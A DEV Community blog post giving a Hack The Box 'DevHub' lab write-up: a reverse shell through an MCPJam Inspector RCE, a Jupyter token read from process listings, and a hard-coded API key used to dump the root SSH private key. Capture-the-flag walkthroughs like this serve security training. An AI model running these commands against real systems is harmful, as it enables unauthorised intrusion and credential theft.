DEV Community

Cover image for # Hack The Box — DevHub Writeup
nimesh nakum
nimesh nakum

Posted on

# Hack The Box — DevHub Writeup

OS: Linux
Difficulty: Medium
Initial Access: MCPJam Inspector RCE
Privilege Escalation: JupyterLab → analyst → OPSMCP API → root SSH key


1. Overview

DevHub is a Linux machine focused around an internal developer environment.

The attack chain was:

MCPJam 1.4.2
      |
      | CVE-2026-23744
      v
   mcp-dev
      |
      | Jupyter token
      v
   analyst
      |
      | OPSMCP API
      v
 Root SSH Private Key
      |
      v
     root
Enter fullscreen mode Exit fullscreen mode

The interesting part of this box was not a single exploit. The real challenge was connecting the information discovered during enumeration.


2. Reconnaissance

I started with a full port scan:

nmap -p- <TARGET_IP> -v -oA nmap/devhub_full_port
Enter fullscreen mode Exit fullscreen mode

Three ports were open:

22/tcp
80/tcp
6274/tcp
Enter fullscreen mode Exit fullscreen mode

I then performed service enumeration:

sudo nmap -sC -sV -p 22,80,6274 <TARGET_IP> -oA nmap/devhub -v
Enter fullscreen mode Exit fullscreen mode

The important results were:

22/tcp   open  ssh
80/tcp   open  http
6274/tcp open  unknown
Enter fullscreen mode Exit fullscreen mode

Port 80 was running an nginx web application titled:

DevHub - Internal Development Platform
Enter fullscreen mode Exit fullscreen mode

I added the hostname:

echo "<TARGET_IP> devhub.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

and visited:

http://devhub.htb
Enter fullscreen mode Exit fullscreen mode

The website revealed two interesting services:

  • MCP Inspector running on port 6274
  • An internal Jupyter-based analytics environment on 127.0.0.1:8888

The Jupyter service was not externally accessible, but I kept it in mind for later.


3. MCPJam Inspector

Visiting:

http://devhub.htb:6274
Enter fullscreen mode Exit fullscreen mode

revealed an MCPJam Inspector interface.

The running version was:

MCPJam Inspector v1.4.2
Enter fullscreen mode Exit fullscreen mode

Searching for vulnerabilities in this version led to:

CVE-2026-23744
Enter fullscreen mode Exit fullscreen mode

which affects MCPJam Inspector and allows unauthenticated remote code execution through the MCP connection functionality.

The vulnerable endpoint is:

POST /api/mcp/connect
Enter fullscreen mode Exit fullscreen mode

I used the available exploit to execute a command on the target.


4. Initial Access

I started a listener:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

and executed the exploit:

python exploit.py \
    --lport 4444 \
    --lhost <ATTACKER_IP> \
    -p 6274 \
    devhub.htb
Enter fullscreen mode Exit fullscreen mode

The connection came back as:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
Enter fullscreen mode Exit fullscreen mode

Initial access achieved:

mcp-dev
Enter fullscreen mode Exit fullscreen mode

At this point, the attack path changed from external exploitation to local enumeration.


5. Getting a Stable SSH Shell

Since SSH was already open on port 22, I configured my public key for mcp-dev.

On my attacking machine:

ssh-keygen -t ed25519 -f ~/.ssh/htb_ed25519
Enter fullscreen mode Exit fullscreen mode

On the target:

mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo 'YOUR_PUBLIC_KEY_HERE' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
Enter fullscreen mode Exit fullscreen mode

Then:

ssh -i ~/.ssh/htb_ed25519 mcp-dev@<TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

Now I had a stable SSH shell.


6. Looking for the Next User

The web application had previously mentioned an internal Jupyter service on port 8888.

Since I now had local access, I checked the running processes:

ps aux
Enter fullscreen mode Exit fullscreen mode

Instead of searching randomly, I specifically looked for the Jupyter service I had already discovered during reconnaissance:

ps aux | grep 8888
Enter fullscreen mode Exit fullscreen mode

This revealed:

analyst ... jupyter-lab
--ip=127.0.0.1
--port=8888
...
--ServerApp.token=<REDACTED>
--ServerApp.password=
Enter fullscreen mode Exit fullscreen mode

This was a very interesting finding.

The Jupyter instance was:

Running as: analyst
Listening on: 127.0.0.1:8888
Authentication: token
Enter fullscreen mode Exit fullscreen mode

and, most importantly, the token was visible directly in the process command line.


7. Jupyter Token

The token was enough to authenticate to the Jupyter API.

I tested it with:

curl -s \
"http://127.0.0.1:8888/api?token=<JUPYTER_TOKEN>"
Enter fullscreen mode Exit fullscreen mode

The server returned:

{
    "version": "2.17.0"
}
Enter fullscreen mode Exit fullscreen mode

So the token was valid.

I also checked the available notebooks:

curl -s \
"http://127.0.0.1:8888/api/contents?token=<JUPYTER_TOKEN>"
Enter fullscreen mode Exit fullscreen mode

This revealed:

quarterly_analysis.ipynb
Enter fullscreen mode Exit fullscreen mode

The notebook itself did not contain anything particularly useful.

The important discovery was the Jupyter API access.


8. Getting Access as Analyst

The Jupyter server allowed authenticated users to create Python kernels.

I created one through the API:

curl -s -X POST \
    -H 'Content-Type: application/json' \
    -d '{"name":"python3"}' \
    "http://127.0.0.1:8888/api/kernels?token=<JUPYTER_TOKEN>"
Enter fullscreen mode Exit fullscreen mode

The kernel was then running as analyst.

This can be confirmed through process enumeration:

ps aux | grep ipykernel
Enter fullscreen mode Exit fullscreen mode

which showed an ipykernel_launcher process owned by:

analyst
Enter fullscreen mode Exit fullscreen mode

So the privilege transition was:

mcp-dev
   |
   | Jupyter token
   v
Jupyter API
   |
   | Create Python kernel
   v
analyst
Enter fullscreen mode Exit fullscreen mode

I then used the Jupyter interface/kernel to execute commands as analyst and obtained the user flag.


9. Enumerating Analyst

Now that I had access as analyst, I started looking for services running with higher privileges.

One particularly interesting process was:

root ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Enter fullscreen mode Exit fullscreen mode

So we had a custom Python service:

/opt/opsmcp/server.py
Enter fullscreen mode Exit fullscreen mode

running as:

root
Enter fullscreen mode Exit fullscreen mode

This immediately made the source code worth investigating.


10. OPSMCP

Reading the source code revealed that server.py was a Flask-based internal MCP operations server.

More importantly, the source contained a hard-coded API key.

The authentication mechanism looked like:

def check_auth():
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY
Enter fullscreen mode Exit fullscreen mode

The application also exposed a tool-calling endpoint:

POST /tools/call
Enter fullscreen mode Exit fullscreen mode

While inspecting the available tools, I found:

ops._admin_dump
Enter fullscreen mode Exit fullscreen mode

This was especially interesting because the function contained functionality for dumping sensitive information.

The relevant code was effectively:

if target == "ssh_keys":
    with open('/root/.ssh/id_rsa', 'r') as f:
        key_data = f.read()

    return jsonify({
        "target": "ssh_keys",
        "root_private_key": key_data
    })
Enter fullscreen mode Exit fullscreen mode

So the root-owned service had an administrative function capable of reading the root SSH private key.


11. Dumping the Root SSH Key

Using the API key found in server.py, I sent an authenticated request to the local OPSMCP API:

curl -s -X POST \
    'http://localhost:5000/tools/call' \
    -H 'X-API-Key: <OPSMCP_API_KEY>' \
    -H 'Content-Type: application/json' \
    -d '{
        "name": "ops._admin_dump",
        "arguments": {
            "confirm": true,
            "target": "ssh_keys"
        }
    }'
Enter fullscreen mode Exit fullscreen mode

The API returned the root SSH private key.

I saved the key locally:

vi ~/.ssh/htb/devhub
Enter fullscreen mode Exit fullscreen mode

and applied the correct permissions:

chmod 600 ~/.ssh/htb/devhub
Enter fullscreen mode Exit fullscreen mode

12. Root

Finally:

ssh -i ~/.ssh/htb/devhub root@<TARGET_IP>
Enter fullscreen mode Exit fullscreen mode

The SSH connection succeeded:

root@devhub
Enter fullscreen mode Exit fullscreen mode

And the root flag was:

cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Root access achieved.


13. Final Attack Chain

The complete path was:

Port 80
   |
   | Discover MCPJam
   v
MCPJam Inspector 1.4.2
   |
   | CVE-2026-23744
   v
mcp-dev
   |
   | ps aux
   | Jupyter token discovered
   v
JupyterLab :8888
   |
   | Authenticated kernel creation
   v
analyst
   |
   | Enumerate root services
   v
/opt/opsmcp/server.py
   |
   | Hard-coded API key
   v
OPSMCP API :5000
   |
   | ops._admin_dump
   v
/root/.ssh/id_rsa
   |
   | SSH
   v
root
Enter fullscreen mode Exit fullscreen mode

14. What I Learned

The most important lesson from DevHub was to connect information from different stages of enumeration.

During the initial web enumeration, I found:

Jupyter → 127.0.0.1:8888
Enter fullscreen mode Exit fullscreen mode

At that point it was not directly accessible.

After getting the initial shell, I remembered that service and searched for it:

ps aux | grep 8888
Enter fullscreen mode Exit fullscreen mode

That revealed the Jupyter token.

The token led to analyst.

From analyst, I found the root-owned OPSMCP service.

The source code revealed the API key.

The API exposed the root SSH key.

And the root key gave me SSH access as root.

So the box was essentially a chain of:

RCE
  ↓
Local Enumeration
  ↓
Credential Exposure
  ↓
User Pivot
  ↓
Source Code Enumeration
  ↓
API Abuse
  ↓
Credential Disclosure
  ↓
Root
Enter fullscreen mode Exit fullscreen mode

The biggest takeaway for me is:

Don't just enumerate the machine. Remember what you found earlier and revisit it when your access level changes.

Top comments (0)